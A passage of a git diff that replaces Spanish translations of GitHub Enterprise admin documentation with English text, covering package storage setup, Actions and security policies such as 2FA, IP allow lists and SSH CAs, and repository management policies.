variables.product.prodname_registry %} for {% data variables.product.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider. -Proveedores de almacenamiento externo compatibles +Supported external storage providers - Amazon Web Services (AWS) S3 {% ifversion ghes %} - Azure Blob Storage {% endif %} - MinIO -Para habilitar el {% data variables.product.prodname_registry %} y configurar el almacenamiento de terceros, consulta: - - "[Habilitar GitHub Packages con AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %} - - "[Habilitar GitHub Packages con Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} - - "[Habilitar GitHub Packages con MinIO](/admin/packages/enabling-github-packages-with-minio)" +To enable {% data variables.product.prodname_registry %} and configure third-party storage, see: + - "[Enabling GitHub Packages with AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %} + - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} + - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)" -## Paso 2: Especifica los ecosistemas de paquetes que serán compatibles con tu instancia +## Step 2: Specify the package ecosystems to support on your instance -Elige qué ecosistemas de paquetes te gustaría habilitar, inhabilitar o configurar como de solo lectura en tu {% data variables.product.product_location %}. Las opciones disponibles son Docker, RubyGems, npm, Apache maven, Gradle o NuGet. Para obtener más información, consulta la sección "[Configurar la compatibilidad de ecosistemas de paquetes para tu empresa](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)". +Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.product.product_location %}. Available options are Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." -## Paso 3: De ser necesario, asegúrate de que tienes un certificado de TLS para la URL de hospedaje de tu paquete +## Step 3: Ensure you have a TLS certificate for your package host URL, if needed -If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Asegúrate de que cada URL de host de paquete incluya `https://`. +If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Make sure each package host URL includes `https://`. - Puedes crear el certificado manualmente, o puedes utilizar _Let's Encrypt_. Si ya utilizas _Let's Encrypt_, debes solicitar un certificado TLS nuevo después de habilitar el {% data variables.product.prodname_registry %}. Para obtener más información acerca de las URL del host de los paquetes, consulta "[Habilitar el aislamiento de subdominios](/enterprise/admin/configuration/enabling-subdomain-isolation)". Para obtener más información sobre cómo cargar certificados TLS a {% data variables.product.product_name %}, consulta la sección "[Configurar el TLS](/enterprise/admin/configuration/configuring-tls)". + You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." For more information about uploading TLS certificates to {% data variables.product.product_name %}, see "[Configuring TLS](/enterprise/admin/configuration/configuring-tls)." diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md index 54c8aff1b3..99179a580a 100644 --- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md +++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md @@ -36,13 +36,13 @@ shortTitle: GitHub Actions policies ## Enforcing a policy to restrict the use of actions in your enterprise -Puedes elegir inhabilitar {% data variables.product.prodname_actions %} para todas las organizaciones en tu empresa, o puedes permitir solo organizaciones específicas. También puedes limitar el uso de acciones públicas para que las personas solo puedan utilizar las acciones locales que existen en tu empresa. +You can choose to disable {% data variables.product.prodname_actions %} for all organizations in your enterprise, or only allow specific organizations. You can also limit the use of public actions, so that people can only use local actions that exist in your enterprise. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.actions.enterprise-actions-permissions %} -1. Haz clic en **Save ** (guardar). +1. Click **Save**. {% ifversion ghec or ghes or ghae %} @@ -53,11 +53,11 @@ Puedes elegir inhabilitar {% data variables.product.prodname_actions %} para tod {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} -1. Debajo de **Políticas**, selecciona **Permitir las acciones seleccionadas** y agrega tus acciones requeridas a la lista. - {%- ifversion ghes or ghae-issue-5094 %} - ![Agregar acciones a la lista de permitidos](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png) +1. Under **Policies**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 or ghae-issue-5094 %} + ![Add actions to allow list](/assets/images/help/organizations/enterprise-actions-policy-allow-list.png) {%- elsif ghae %} - ![Agregar acciones a la lista de permitidos](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png) + ![Add actions to allow list](/assets/images/enterprise/github-ae/enterprise-actions-policy-allow-list.png) {%- endif %} {% endif %} @@ -69,8 +69,7 @@ Puedes elegir inhabilitar {% data variables.product.prodname_actions %} para tod {% data reusables.actions.about-artifact-log-retention %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.business %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.github-actions.change-retention-period-for-artifacts-logs %} @@ -115,14 +114,15 @@ You can enforce policies to control how {% data variables.product.prodname_actio {% data reusables.github-actions.workflow-permissions-intro %} -Puedes configurar los permisos predeterminados para del `GITHUB_TOKEN` en la configuración de tu empresa, organización o repositorio. Si eliges la opción restringida como lo predeterminado en la configuración de tu empresa, esto previene que puedas elegir más configuraciones permisivas en la configuración de tu organización o repositorio. +You can set the default permissions for the `GITHUB_TOKEN` in the settings for your enterprise, organizations, or repositories. If you choose the restricted option as the default in your enterprise settings, this prevents the more permissive setting being chosen in the organization or repository settings. {% data reusables.github-actions.workflow-permissions-modifying %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} -1. Debajo de **Permisos del flujo de trabajo**, elige si quieres que el `GITHUB_TOKEN` tenga permisos de lectura y escritura para todos los alcances o solo acceso de lectura para el alcance `contents`. ![Configurar los permisos del GITHUB_TOKEN para esta empresa](/assets/images/help/settings/actions-workflow-permissions-enterprise.png) -1. Da clic en **Guardar** para aplicar la configuración. +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this enterprise](/assets/images/help/settings/actions-workflow-permissions-enterprise.png) +1. Click **Save** to apply the settings. {% endif %} diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md index 0a9b30997e..737721032e 100644 --- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md +++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md @@ -34,27 +34,29 @@ You can enforce policies to control the security settings for organizations owne Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise use two-factor authentication to secure their personal accounts. -Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. Para obtener más información, consulta "[Proteger tu cuenta con la autenticación de dos factores (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/)". +Before you can require 2FA for all organizations owned by your enterprise, you must enable two-factor authentication for your own account. For more information, see "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa/)." {% warning %} -**Advertencias:** +**Warnings:** -- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. También perderán acceso a las bifurcaciones de sus repositorios privados de la organización. Puedes reinstalar sus privilegios de acceso y sus parámetros de configuración si habilitan la autenticación de dos factores para sus cuentas personales dentro de un plazo de tres meses a partir de su eliminación de tu organización. Para obtener más información, consulta "[Reinstalar un miembro antiguo de tu organización](/enterprise/{{ page.version }}/user/articles/reinstating-a-former-member-of-your-organization)". +- When you require two-factor authentication for your enterprise, members, outside collaborators, and billing managers (including bot accounts) in all organizations owned by your enterprise who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can reinstate their access privileges and settings if they enable two-factor authentication for their personal account within three months of their removal from your organization. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)." - Any organization owner, member, billing manager, or outside collaborator in any of the organizations owned by your enterprise who disables 2FA for their personal account after you've enabled required two-factor authentication will automatically be removed from the organization. - If you're the sole owner of a enterprise that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the enterprise. {% endwarning %} -Antes de solicitar el uso de la autenticación de dos factores, te recomendamos notificar a los miembros de la organización, a los colaboradores externos y a los gerentes de facturación y pedirles que configuren la 2FA para sus cuentas. Los propietarios de la organización pueden ver si los miembros y los colaboradores externos ya usan 2FA en la página Personas de cada organización. Para obtener más información, consulta "[Ver si los usuarios en tu organización tienen la 2FA habilitada](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)". +Before you require use of two-factor authentication, we recommend notifying organization members, outside collaborators, and billing managers and asking them to set up 2FA for their accounts. Organization owners can see if members and outside collaborators already use 2FA on each organization's People page. For more information, see "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)." {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} -4. En "Autenticación de dos factores", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -5. Debajo de "Two-factor authentication" ¨(Autenticación de dos factores), selecciona **Require two-factor authentication for all organizations in your business** (Requerir autenticación de dos factores para todas las organizaciones en tu empresa) y luego haz clic en **Save** (Guardar). ![Casilla de verificación para requerir autenticación de dos factores](/assets/images/help/business-accounts/require-2fa-checkbox.png) -6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**. ![Cuadro Confirmar aplicación obligatoria de dos factores](/assets/images/help/business-accounts/confirm-require-2fa.png) -7. Optionally, if any members or outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Cada persona debe habilitar la autenticación de dos factores para poder aceptar tu invitación. +4. Under "Two-factor authentication", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "Two-factor authentication", select **Require two-factor authentication for all organizations in your business**, then click **Save**. + ![Checkbox to require two-factor authentication](/assets/images/help/business-accounts/require-2fa-checkbox.png) +6. If prompted, read the information about members and outside collaborators who will be removed from the organizations owned by your enterprise. To confirm the change, type your enterprise's name, then click **Remove members & require two-factor authentication**. + ![Confirm two-factor enforcement box](/assets/images/help/business-accounts/confirm-require-2fa.png) +7. Optionally, if any members or outside collaborators are removed from the organizations owned by your enterprise, we recommend sending them an invitation to reinstate their former privileges and access to your organization. Each person must enable two-factor authentication before they can accept your invitation. {% endif %} @@ -64,7 +66,7 @@ Antes de solicitar el uso de la autenticación de dos factores, te recomendamos {% ifversion ghae %} -You can restrict network traffic to your enterprise on {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Restringir el tráfico de red para tu empresa](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)". +You can restrict network traffic to your enterprise on {% data variables.product.product_name %}. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)." {% elsif ghec %} @@ -72,11 +74,11 @@ Enterprise owners can restrict access to assets owned by organizations in an ent {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %} -{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} +{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} -También puedes configurar las direcciones IP permitidas para una organización individual. Para obtener más información, consulta "[Administrar las direcciones IP permitidas en tu organización](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)". +You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)." -### Agregar una dirección IP permitida +### Adding an allowed IP address {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} @@ -85,19 +87,20 @@ También puedes configurar las direcciones IP permitidas para una organización {% data reusables.identity-and-permissions.ip-allow-lists-add-description %} {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} -### Permitir el acceso mediante {% data variables.product.prodname_github_apps %} +### Allowing access by {% data variables.product.prodname_github_apps %} {% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %} -### Habilitar direcciones IP permitidas +### Enabling allowed IP addresses {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} -3. En "IP allow list" (Lista de permisos de IP), seleccione **Enable IP allow list** (Habilitar lista de permisos de IP). ![Realizar una marca de verificación para permitir direcciones IP](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png) -4. Haz clic en **Save ** (guardar). +3. Under "IP allow list", select **Enable IP allow list**. + ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png) +4. Click **Save**. -### Editar una dirección IP permitida +### Editing an allowed IP address {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} @@ -105,9 +108,9 @@ También puedes configurar las direcciones IP permitidas para una organización {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %} {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %} {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %} -8. Da clic en **Actualizar**. +8. Click **Update**. -### Eliminar una dirección IP permitida +### Deleting an allowed IP address {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} @@ -115,7 +118,7 @@ También puedes configurar las direcciones IP permitidas para una organización {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %} {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %} -### Utilizar {% data variables.product.prodname_actions %} con un listado de direcciones IP permitidas +### Using {% data variables.product.prodname_actions %} with an IP allow list {% data reusables.github-actions.ip-allow-list-self-hosted-runners %} @@ -125,9 +128,9 @@ También puedes configurar las direcciones IP permitidas para una organización ## Managing SSH certificate authorities for your enterprise -You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %}Para obtener más información, consulta "[Acerca de las autoridades de certificados de SSH](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)". +You can use a SSH certificate authorities (CA) to allow members of any organization owned by your enterprise to access that organization's repositories using SSH certificates you provide. {% data reusables.organizations.can-require-ssh-cert %} For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)." -### Agregar una autoridad de certificado de SSH +### Adding an SSH certificate authority {% data reusables.organizations.add-extension-to-cert %} @@ -137,9 +140,9 @@ You can use a SSH certificate authorities (CA) to allow members of any organizat {% data reusables.organizations.new-ssh-ca %} {% data reusables.organizations.require-ssh-cert %} -### Eliminar una autoridad de certificado de SSH +### Deleting an SSH certificate authority -La eliminación de un CA no se puede deshacer. Si deseas usar la misma CA en el futuro, deberás cargarla nuevamente. +Deleting a CA cannot be undone. If you want to use the same CA in the future, you'll need to upload the CA again. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} @@ -148,7 +151,7 @@ La eliminación de un CA no se puede deshacer. Si deseas usar la misma CA en el {% ifversion ghec or ghae %} -## Leer más +## Further reading - "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)" diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md index e3326b561b..ab35104241 100644 --- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md +++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md @@ -24,24 +24,26 @@ shortTitle: Project board policies ## About policies for project boards in your enterprise -You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage project boards. You can also allow organization owners to manage policies for project boards. Para obtener más información, consulta "[Acerca de los tableros de proyectos](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." +You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage project boards. You can also allow organization owners to manage policies for project boards. For more information, see "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." -## Hacer cumplir una política para tableros de proyecto en toda la organización +## Enforcing a policy for organization-wide project boards Across all organizations owned by your enterprise, you can enable or disable organization-wide project boards, or allow owners to administer the setting on the organization level. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %} -4. En "Proyectos de la organización", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -5. En "Proyectos de la organización", usa el menú desplegable y elige una política. ![Menú desplegable con opciones de políticas de tableros de proyecto de la organización](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png) +4. Under "Organization projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "Organization projects", use the drop-down menu and choose a policy. + ![Drop-down menu with organization project board policy options](/assets/images/help/business-accounts/organization-projects-policy-drop-down.png) -## Hacer cumplir una política para tableros de proyecto de repositorios +## Enforcing a policy for repository project boards Across all organizations owned by your enterprise, you can enable or disable repository-level project boards, or allow owners to administer the setting on the organization level. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.projects-tab %} -4. En "Proyectos de repositorios", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -5. En "Proyectos de repositorios", usa el menú desplegable y elige una política. ![Menú desplegable con opciones de políticas de tableros de proyecto de repositorios](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png) +4. Under "Repository projects", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "Repository projects", use the drop-down menu and choose a policy. + ![Drop-down menu with repository project board policy options](/assets/images/help/business-accounts/repository-projects-policy-drop-down.png) diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md index 9c1ae735a0..9d7612d2df 100644 --- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md +++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md @@ -1,5 +1,5 @@ --- -title: Requerir políticas de administración de repositorios en tu empresa +title: Enforcing repository management policies in your enterprise intro: 'You can enforce policies for repository management within your enterprise''s organizations, or allow policies to be set in each organization.' permissions: Enterprise owners can enforce policies for repository management in an enterprise. product: '{% data reusables.gated-features.enterprise-accounts %}' @@ -44,7 +44,7 @@ topics: - Policies - Repositories - Security -shortTitle: Políticas de administración de repositorio +shortTitle: Repository management policies --- ## About policies for repository management in your enterprise @@ -55,9 +55,9 @@ You can enforce policies to control how members of your enterprise on {% data va ## Configuring the default visibility of new repositories -Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. Cuando configuras una visibilidad predeterminada para la empresa, eliges qué vsibilidad se seleccina predeterminadamente. Para obtener más información sobre la visibilidad de los repositorios, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +Each time someone creates a new repository within your enterprise, that person must choose a visibility for the repository. When you configure a default visibility setting for the enterprise, you choose which visibility is selected by default. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -Si un propietario de empresa deja de permitir que los miembros de ésta creen ciertos tipos de repositorios, estos no podrán crear este tipo de repositorio aún si la configuración de visibilidad lo tiene como predeterminado. Para obtener más información, consulta la sección "[Configurar una política para la creación de repositorios](#setting-a-policy-for-repository-creation)". +If an enterprise owner disallows members from creating certain types of repositories, members will not be able to create that type of repository even if the visibility setting defaults to that type. For more information, see "[Setting a policy for repository creation](#setting-a-policy-for-repository-creation)." {% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} @@ -66,7 +66,8 @@ Si un propietario de empresa deja de permitir que los miembros de ésta creen ci {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} -1. Debajo de "Default repository visibility" (visibilidad predeterminada del repositorio), utiliza el menú desplegable y selecciona un tipo de visibilidad predeterminado. ![Menú desplegable para elegir la visibilidad predeterminada de los repositorios para tu empresa](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png) +1. Under "Default repository visibility", use the drop-down menu and select a default visibility. + ![Drop-down menu to choose the default repository visibility for your enterprise](/assets/images/enterprise/site-admin-settings/default-repository-visibility-settings.png) {% data reusables.enterprise_installation.image-urls-viewable-warning %} @@ -82,38 +83,40 @@ Across all organizations owned by your enterprise, you can set a {% ifversion gh 4. Under "{% ifversion ghec or ghes > 3.1 or ghae-next %}Base{% else %}Default{% endif %} permissions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} 5. Under "{% ifversion ghec or ghes > 3.1 or ghae-next %}Base{% else %}Default{% endif %} permissions", use the drop-down menu and choose a policy. {% ifversion ghec or ghes > 3.1 or ghae-next %} - ![Menú desplegable con opciones de políticas de permisos de repositorios](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png) + ![Drop-down menu with repository permissions policy options](/assets/images/help/business-accounts/repository-permissions-policy-drop-down.png) {% else %} - ![Menú desplegable con opciones de políticas de permisos de repositorios](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png) + ![Drop-down menu with repository permissions policy options](/assets/images/enterprise/business-accounts/repository-permissions-policy-drop-down.png) {% endif %} ## Enforcing a policy for repository creation -Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. Si permites que los miembros creen repositorios, puedes decidir si pueden crear cualquier combinación de repositorios públicos, privados e internos. {% data reusables.repositories.internal-repo-default %} Para obtener más información acerca de los repositorios internos, consulta "[Crear un repositorio interno](/articles/creating-an-internal-repository)". +Across all organizations owned by your enterprise, you can allow members to create repositories, restrict repository creation to organization owners, or allow owners to administer the setting on the organization level. If you allow members to create repositories, you can choose whether members can create any combination of public, private, and internal repositories. {% data reusables.repositories.internal-repo-default %} For more information about internal repositories, see "[Creating an internal repository](/articles/creating-an-internal-repository)." {% data reusables.organizations.repo-creation-constants %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} -5. En "Creación de repositorio", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "Repository creation", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.repo-creation-policy %} {% data reusables.enterprise-accounts.repo-creation-types %} {% else %} -6. En "Creación de repositorios", usa el menú desplegable y elige una política. ![Menú desplegable con políticas para creación de repositorio](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png) +6. Under "Repository creation", use the drop-down menu and choose a policy. + ![Drop-down menu with repository creation policies](/assets/images/enterprise/site-admin-settings/repository-creation-drop-down.png) {% endif %} ## Enforcing a policy for forking private or internal repositories -En todas las organizaciones que pertenezcan a tu empresa, puedes permitir o prohibir la bifurcación de un repositorio privado o interno o permitir a los propietarios administrar la configuración a nivel organizacional para todos los que tengan acceso a éstos. +Across all organizations owned by your enterprise, you can allow people with access to a private or internal repository to fork the repository, never allow forking of private or internal repositories, or allow owners to administer the setting on the organization level. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} 3. Under "Repository forking", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -4. En "Bifurcación de repositorios", usa el menú desplegable y elige una política. ![Menú desplegable con opciones de políticas de bifurcación de repositorios](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png) - +4. Under "Repository forking", use the drop-down menu and choose a policy. + ![Drop-down menu with repository forking policy options](/assets/images/help/business-accounts/repository-forking-policy-drop-down.png) + ## Enforcing a policy for inviting{% ifversion ghec %} outside{% endif %} collaborators to repositories Across all organizations owned by your enterprise, you can allow members to invite{% ifversion ghec %} outside{% endif %} collaborators to repositories, restrict {% ifversion ghec %}outside collaborator {% endif %}invitations to organization owners, or allow owners to administer the setting on the organization level. @@ -124,35 +127,38 @@ Across all organizations owned by your enterprise, you can allow members to invi 3. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} 4. Under "Repository {% ifversion ghec %}outside collaborators{% elsif ghes or ghae %}invitations{% endif %}", use the drop-down menu and choose a policy. {% ifversion ghec %} - ![Menú desplegable con opciones de políticas de invitación de colaboradores externos](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png) + ![Drop-down menu with outside collaborator invitation policy options](/assets/images/help/business-accounts/repository-invitation-policy-drop-down.png) {% elsif ghes or ghae %} - ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png) + ![Drop-down menu with invitation policy options](/assets/images/enterprise/business-accounts/repository-invitation-policy-drop-down.png) {% endif %} - + {% ifversion ghec or ghes or ghae %} ## Enforcing a policy for the default branch name -Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. Puedes elegir el requerir un nombre de rama predeterminado a través de todas las organizaciones o permitir a algunas configurar un nombre diferente. +Across all organizations owned by your enterprise, you can set the default branch name for any new repositories that members create. You can choose to enforce that default branch name across all organizations or allow individual organizations to set a different one. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} -3. En la pestaña de **Políticas de los repositorios**, debajo de "Nombre de la rama predeterminada", ingresa el nombre de rama predeterminada que deberán utilizar los repositorios nuevos. ![Caja de texto para ingresar un nombre de rama predeterminado](/assets/images/help/business-accounts/default-branch-name-text.png) -4. Opcionalmente, para requerir el nombre de rama predeterminado para todas las organizaciones en la empresa, selecciona **Requerir en toda la empresa**. ![Casilla de requerir](/assets/images/help/business-accounts/default-branch-name-enforce.png) -5. Da clic en **Actualizar**. ![Botón de actualizar](/assets/images/help/business-accounts/default-branch-name-update.png) +3. On the **Repository policies** tab, under "Default branch name", enter the default branch name that new repositories should use. + ![Text box for entering default branch name](/assets/images/help/business-accounts/default-branch-name-text.png) +4. Optionally, to enforce the default branch name for all organizations in the enterprise, select **Enforce across this enterprise**. + ![Enforcement checkbox](/assets/images/help/business-accounts/default-branch-name-enforce.png) +5. Click **Update**. + ![Update button](/assets/images/help/business-accounts/default-branch-name-update.png) {% endif %} ## Enforcing a policy for changes to repository visibility -Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. Cuando no permites que los miembros cambien la visibilidad del repositroio, únicamente los propietarios de la empresa podrán hacerlo. +Across all organizations owned by your enterprise, you can allow members with admin access to change a repository's visibility, restrict repository visibility changes to organization owners, or allow owners to administer the setting on the organization level. When you prevent members from changing repository visibility, only enterprise owners can change the visibility of a repository. -Si un propietario de empresa restringió la creación de repositorios en la misma para que solo los propietarios puedan realizar esta operación, entonces los miembros no podrán cambiar la visibilidad de los repositorios. Si un propietario de una empresa restringe la creación de repositorios para que los miembros solo puedan crear repositorios privados, entonces éstos solo podrán cambiar la visibilidad de un repositorio a privada. Para obtener más información, consulta la sección "[Configurar una política para la creación de repositorios](#setting-a-policy-for-repository-creation)". +If an enterprise owner has restricted repository creation to organization owners only, then members will not be able to change repository visibility. If an enterprise owner has restricted member repository creation to private repositories only, then members will only be able to change the visibility of a repository to private. For more information, see "[Setting a policy for repository 